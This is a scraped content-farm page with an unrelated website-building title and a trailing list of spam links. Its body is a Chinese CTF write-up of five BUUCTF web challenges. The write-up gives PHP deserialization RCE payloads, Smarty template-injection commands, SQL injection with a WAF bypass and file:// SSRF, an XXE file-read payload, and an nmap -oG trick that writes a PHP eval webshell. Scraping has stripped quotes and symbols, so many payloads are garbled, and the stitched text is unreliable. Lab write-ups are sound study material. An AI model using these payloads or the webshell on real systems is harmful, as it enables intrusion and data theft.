当前位置: 首页 > news >正文

网站建设企业模板提供手机网站制作

网站建设企业模板,提供手机网站制作,wordpress演示数据怎么导入,网页怎么做1、[网鼎杯 2020 朱雀组]phpweb 1 考点#xff1a;反序列化漏洞利用 进入靶场#xff0c;查看检查信息#xff0c;发现存在两个参数 func 和 p 查看页面源代码 payload#xff1a;funcfile_get_contentspphp://filter/resourceindex.php 整理后#xff0c;就是 PHP 代…1、[网鼎杯 2020 朱雀组]phpweb 1 考点反序列化漏洞利用 进入靶场查看检查信息发现存在两个参数 func 和 p 查看页面源代码 payloadfuncfile_get_contentspphp://filter/resourceindex.php 整理后就是 PHP 代码审计了 ?php$disable_fun array(exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg,assert,substr_replace,call_user_func_array,call_user_func,array_filter, array_walk,  array_map,registregister_shutdown_function,register_tick_function,filter_var, filter_var_array, uasort, uksort, array_reduce,array_walk, array_walk_recursive,pcntl_exec,fopen,fwrite,file_put_contents);//过滤命令执行的关键字function gettime($func, $p) {$result call_user_func($func, $p);//这里由于使用了call_user_func这个函数是突破口$a gettype($result);if ($a string) {return $result;} else {return ;}}class Test {var $p Y-m-d h:i:s a;var $func date;function __destruct() {if ($this-func ! ) {echo gettime($this-func, $this-p);}}}$func $_REQUEST[func];$p $_REQUEST[p];if ($func ! null) {$func strtolower($func);//过滤if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die(Hacker...);}}?gettime 中使用了 call_user_func() 函数 也就是说 $func 会被当成回调函数来执行而 $p 则当做 $func 的参数 Test 类中存在魔术方法 __destruct()在到某个对象的所有引用都被删除或者当对象被显式销毁时执行的魔术方法。new 和 unserialize  触发 因为该方法会在类被销毁时调用所以我们反序列化一个类在类里面的参数中写上我们要执行的代码和函数这样的话就会直接调用 gettime 函数不会执行 in_array($func,$disable_fun) 从而绕过黑名单。 不了解序列化和反序列化的先看下面的文章 反序列化漏洞详解-CSDN博客 序列化与反序列化介绍_序列化和反序列化-CSDN博客 接下来就是解题思路了 我们还不知道 flag 有关的文件在哪所以需要查看目录利用 call_user_func() 函数的特性我们给第一个参数传递系统命令system第二个参数传递ls来查看目录然后为了绕过黑名单我们需要先把 system(ls) 序列化一下 ?phpfunction gettime($func,$p){$result call_user_func($func,$p);$a gettype($result);if($a string){return $result;}else{ return ; }}class Test{var $func system;var $p ls;function __destruct(){if($this-func ! ){echo gettime($this-func,$this-p);}}}$a new Test();echo serialize($a); ? O:4:Test:2:{s:4:func;s:6:system;s:1:p;s:2:ls;} 把序列化后的字符串当做 $p 的值传给 $func $func 则传一个反序列化函数 payloadfuncunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:2:ls;} 发现回显了一些文件但是并没有与 flag 有的文件我们可以尝用命令去目录中搜索相关的文件名 payloadfuncunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:18:find / -name flag*;} 提交后会有些慢因为要扫描目录等待就好了 大家可以用 burp 那样得到的数据是清晰的这样子的数据太混乱了不方便阅读由上图所示猜测 /tmp/flagoefiu4r93 里面就有我们的 flag接下来对该文件进行读取。 class Test{var $func system;var $p cat /tmp/flagoefiu4r93;function __destruct(){if($this-func ! ){echo gettime($this-func,$this-p);}}} payloadfuncunserializepO:4:Test:2:{s:4:func;s:6:system;s:1:p;s:22:cat /tmp/flagoefiu4r93;} flag{29c9b107-32ff-446b-8474-e4121e71b421} 2、[BJDCTF2020]The mystery of ip 1 考点SSTI 模版注入 看到 IP 地址联想到 X-Forwarded-For构造 XFF 发现回显的是我们构造的 IP 地址 实际上不管我们输入什么都会回显给我们猜测是 SSTI 模版注入猜测是模版注入后我们可以用 {{ 命令 }} 的方式来注入 接下来就入住命令来获取关键信息 构造payload X-Forwarded-For:{{system(ls)}} 发现 flag.php 我们查看一下发现并没有出现 flag我们再查看一下根目录 X-Forwarded-For:{{system(ls /)}} 出现了 flag查看一下 {{system(cat /flag)}} 另一种方式实际上也是注入命令不过表达的方式不太一样。先查看一下是什么类型的模版 PHP常见的模板twigsmartyblade X-Forwarded-For:{{(config}} 发现是 smarty 模版 Smarty自学笔记_smarty html原样输出-CSDN博客 查看目录 {if system(“ls”)}{/if} 这里的flag.php是假的要查根目录下的 {if system(“ls /”)}{/if} 获取 flag X-Forwarded-For:{if system(cat /flag)}{/if} 3、[网鼎杯 2018]Fakebook 1 考点序列化和反序列化 SSRF  SQL 注入 base64 编码 进入页面没发现可疑的地方也不存在 SQL 注入注册个账户看看 点击 admin 进入用户发现 URL 存在参数这里可能存在注入点 输入1 and 11 页面回显正常 输入1 and 12 页面回显异常 说明页面存在 SQL 注入且为数字型注入 判断列数4 列的时候正常5 列的时候异常说明存在 4 列 先使用联合注入试试看,判断回显位 -1 union select 1,2,3,4 没法用猜测是某些关键字被过滤了试了很多绕过都不行最后看大佬的 wp 才知道存在 WAFunion select 被过滤了 使用 /**/ 可以绕过 -1 union/**/select 1,2,3,4 爆破数据库名 爆破表格名 -1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase() 【group_concat(table_name) 和 from information_schema.XXXXXXXX 是可以分开写的因为 group_concat() 是独立的回显点在哪 group_concat() 就放在哪】 举个例子 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- 爆破字段名 -1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_nameusers 爆破字段内容 其他字段内容都没什么可疑的只有 data 字段内的内容可疑我们注册的账号被序列化输出了 -1 union/**/select 1,group_concat(data),3,4 from users 莫名其妙应该是前面漏了什么步骤回去看大佬 wp发现本题还存在源码泄露问题利用 kali 的后台扫描工具 dirb 进行扫描发现 robots.txt 这个敏感信息文件 访问后里面的内容记录着一个备份文件 /user.php.bak .bak 为后缀的为备份文件访问直接下载 ?phpclass UserInfo {public $name ;public $age 0;public $blog ;public function __construct($name, $age, $blog){$this-name $name;$this-age (int)$age;$this-blog $blog;}function get($url){$ch curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output curl_exec($ch);$httpCode curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this-get($this-blog);}public function isValidBlog (){$blog $this-blog;return preg_match(/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]\.)[a-zA-Z]{2,6}(\:[0-9])?(\/\S*)?$/i, $blog);}} 代码审计 curl_init初始化一个 curl 会话供 curl_setopt()curl_exec() 和 curl_close() 函数使用curl_setopt请求一个 url其中 CURLOPT_URL 表示需要获取的 URL 地址后面就是跟上了它的值CURLOPT_RETURNTRANSFER 将 curl_exec() 获取的信息以文件流的形式返回而不是直接输出curl_exec成功时返回 TRUE或者在失败时返回 FALSE。然而如果 CURLOPT_RETURNTRANSFER 选项被设置函数执行成功时会返回执行的结果失败时返回 FALSECURLINFO_HTTP_CODE最后一个收到的 HTTP 代码curl_getinfo以字符串形式返回它的值因为设置了 CURLINFO_HTTP_CODE所以返回的是状态码。如果状态码不是 404就返回 exec 的结果。 get 函数在 getBlogContents 中被调用 blog 作为参数 由于代码使用正则限制了 blog 的内容所以只能使用序列化把 blog 注入进去 序列化代码 注意要照葫芦画瓢类名为 Userinfo name 、age和爆破出来的字段内容一样也就是注册时的内容 ?php class Userinfo{public $name admin;public $age 123;public $blog file:///var/www/html/flag.php; }$a new Userinfo(); echo serialize($a); ? 结果 O:8:Userinfo:3:{s:4:name;s:5:admin;s:3:age;i:123;s:4:blog;s:29:file:///var/www/html/flag.php;} 构造 payload -1 union/**/select 1,2,3,O:8:Userinfo:3:{s:4:name;s:5:admin;s:3:age;i:123;s:4:blog;s:29:file:///var/www/html/flag.php;} 这里为什么是注入在 4 的位置 因为 data 这个表的位置在第 4 列而根据回显信息可以猜测 data 字段存在漏洞会对内容进行一次序列化所以把内容注入到 data 中 查看页面源代码对该字符串进行 base64 解码 非预期解法 使用 SQL 的 load_file() payloadno-1 union/**/select 1,load_file(/var/www/html/flag.php),3,4 查看源代码直接出结果 下图内容取自BUUCTF[网鼎杯 2018]Fakebook 1 - LoYoHo00 - 博客园 (cnblogs.com) 4、[NCTF2019]Fake XML cookbook 1 考点XXE 漏洞 进入靶场 谁便输入看看提示什么 提示登录失败开始考虑的是 SQL 注入发现没有注入点退回去看题目有 XML 的字样猜测应该是考察 XXE 漏洞 XML 外部实体注入漏洞 不了解该漏洞的看这篇文章 浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户 服务器端漏洞篇之XML外部实体注入(XXE)专题 - FreeBuf网络安全行业门户 懒得看的这里我给大家简单介绍一下 XXE 漏洞产生的原因 应用程序解析 XML 输入时没有禁止外部实体的加载导致可加载恶意外部软件造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 DOS 攻击等危害。【XXE 漏洞触发的点往往是可以上传 XML 文件的位置没有对上传的 XML 文件进行过滤导致可上传恶意 XML 文件】 XML 和 HTML 区别 XML 被设计为传输和存储数据其焦点是数据的内容。 HTML 被设计用来显示数据其焦点是数据的外观。 当然XXE 也存在隐藏攻击的方式有些地方可以在没有输入任何 XML 格式的数据的情况下发动 XXE 攻击例如 XInclude 攻击通过文件上传的 XXE 攻击通过修改 Content-Type 的 XXE 攻击 1、XInclude 攻击 有些应用程序的服务端会将从客户端接收的内容嵌入到 XML 文档中然后解析这就导致因为我们无法控制整个 XML 文档而无法发动常规的 XXE 攻击但是我们可以通过 XInclude 在该 XML 文档中构建子 XML 文档想要使用 XInclude 我们需要引入相应的命名空间。详细看上面第二条链接 2、通过文件上传的 XXE 攻击 有的应用程序允许上传 XML 格式的文件比如 office 文档或 SVG 图像然后这些文件也会因为在服务端解析而触发 XXE 攻击。 深入简出 SVG 教程 - 知乎 (zhihu.com) 3、通过修改 Content-Type 的 XXE 攻击 大部分的 POST 请求的 Content-Type 都是表单类型application/x-www-form-urlencoded但是有的应用程序允许将其修改成 text/xml这样我们就可以将报文内容替换成 XML 格式的内容了如下所示 POST /action HTTP/1.0 Content-Type:text/xml Content-Length:52 ?xml version1.0 encodingUTF-8? foobar/foo 下面是本题的解题思路 要注意这里加   、;  前面就是没注意到这点一直做不出来 payload ?xml version1.0 encodingutf-8? !DOCTYPE note [!ENTITY adm SYSTEM file:///flag] userusernameadm;/usernamepassword123456/password/user 5、[BUUCTF 2018]Online Tool 1 考点escapeshellarg () 和 escapeshellcmd () 漏洞 nmap 文件写入的利用 进入靶场代码审计 分析代码 PHP 中 $_SERVER 参数 HTTP_X_FORWARDED_FOR 和 REMOTE_ADDR 在 PHP 中使用 $_SERVER[REMOTE_ADDR] 来获取客户端的 IP 地址如果客户端使用代理服务器来访问那取到的就是代理服务器的 IP 地址而不是真正的客户端 IP 地址。若想透过代理服务器获取客户端的真实 IP 地址就要使用 $_SERVER[HTTP_X_FORWARDED_FOR] 来获取。 【当然了并不是每个代理服务器都能用 $_SERVER[HTTP_X_FORWARDED_FOR] 来读取客户端的真实 IP有些用此方法读取到的仍然是代理服务器的 IP】 如果客户端通过代理服务器则取 HTTP_X_FORWARDED_FOR 的值如果没通过代理服务器就取 REMOTE_ADDR 的值 escapeshellarg把字符串转码为可以在 shell 命令里使用的参数。 escapeshellarg 在 CTF 中的利用 参数注入开发人员错误的使用 escapeshellarg 函数逃逸字符串该函数非二进制安全 escapeshellcmdshell 元字符转义 escapeshellarg 和 escapeshellcmd 相似主要看是否有引号 PHP chdir () 函数 它将 PHP 的当前目录更改为传递的目录。 ?phpecho getcwd() . \n;chdir(html);echo getcwd() . \n; ?/* 输出结果 /home/tutorialspoint /home/tutorialspoint/html/ */ PHP mkdir () 函数用来创建目录 代码整体功能 1、首先判断客户端提供给服务器和服务器自动获取的 IP 是否一致。 2、判断 get host 参数的传值没有传值调用 highlight_file__FILE__。 3 、传值host 传递参数经过 escapeshellarg、escapeshellcmd 函数的限制。 4、以 ‘glzjin’ IP 通过 md5 加密结果作为文件名创建文件。调用 chdir ()  函数当前文件地址更改为创建的文件 5、输出 system 执行结果 解题思路 escapeshellarg 处理后先对单引号转义再用单引号将左右两部分括起来从而起到连接的作用。 举例 192.168.1.100 -oG 经过 escapeshellarg 处理后就变成 192.168.1.100 \ -oG 以被转义的单引号为中心左右被分成两部分并且加上单引号。 随后再进过 escapeshellcmd 时变成 192.168.1.100 \\ -oG \ 【会发现将不成对的单引号及 \ 符号再次添加 \ 】前面被转义的单引号被认为是和 -oG 左边单引号成对的导致 -oG 右边的单引号被认为是不成对的单引号因此被转义。 这位博主写的很详细【[BUUCTF 2018]Online Tool - My_Dreams - 博客园 (cnblogs.com)】 代码的本意是要我们输入 IP 这样的参数做一个扫描通过前面说的那两个函数来进行规则过滤我们的输入会被单引号括起来但是因为前面我们所描述的漏洞告诉我们可以逃脱引号的束缚 -oG 是 nmap 的一个参数可以实现将命令和结果写到文件 正是因为 nmap 存在 -oG 这个参数所以我们可以控制自己的输入写入到文件配合一句话木马来使用。当然也可以使用命令 cat /flag 方法一一句话木马 ?host ?php eval($_POST[123]);? -oG hack.php 构造完 payload 回车后页面会显示文件名 使用蚁剑进行连接 fcbaaa3b-8c9f-46d1-a647-3790cd66ccb3.node5.buuoj.cn:81/2776a2b4045f0b6fecd14c61ea2a61b0/hack.php 提示 hack.php 文件名自定义后缀是 .php 就好 方法二直接使用命令 ?host ?php echo cat /flag;? -oG abc.php 注意 cat /flag 用反引号括起来单引号和 之间需要有空格 把路径拼接好即可
http://www.pierceye.com/news/379127/

相关文章:

  • 杭州高端网站定制手机网站开发应注意
  • 深圳网站建设选云聚达做二手元器件那个网站查价格
  • 网站建设公司企业模板微网站开发制作
  • 北京网站制作计划合理的网站结构
  • 网站建设如何搭建框架兰州seo排名
  • 网站作为医院形象建设cms搭建网站
  • 如何做个购物网站网站开发好不好
  • wordpress国内打开速度慢东莞搜索seo关键词
  • 鹿泉建设网站广安市建设局官方网站
  • 用花生棒自己做网站如何看网站的浏览量
  • 大连网站排名电商线上培训
  • 做金融网站做简历的网站
  • 求网站建设合伙人wordpress子页面怎么修改密码
  • 怎样登录建设互联网站厦门海绵城市建设官方网站
  • 网站怎么做权重互联网平台推广怎么做
  • 网站建设如果登录失败男生和男生做污的视频网站
  • 备案ip 查询网站查询系统制作一个网站的成本
  • 微网站排版p9制作公司
  • 国产在线免费观看高甜电影推荐爱站网seo工具包
  • 建设银行官方网站首页入口建立网站如何推广
  • 网站登录界面图片用什么软件做wordpress qiniu
  • 设计素材网站好融资吗关键词排名怎么做好
  • 亚洲购物网站排名网站开发看掉一些功能
  • 网站开发 需求dnf盗号网站怎么做
  • 淘宝客免费网站建设宝塔搭建wordpress主机地址
  • 可以看网站的浏览器wordpress+博客+简书
  • 游戏源码网站免费网站模板有哪些内容
  • 江西网站优化广东网站设计有名的公司
  • wordpress整合dplayer关键词优化举例
  • wordpress怎么设置跳站外链接番禺网站建设培训学校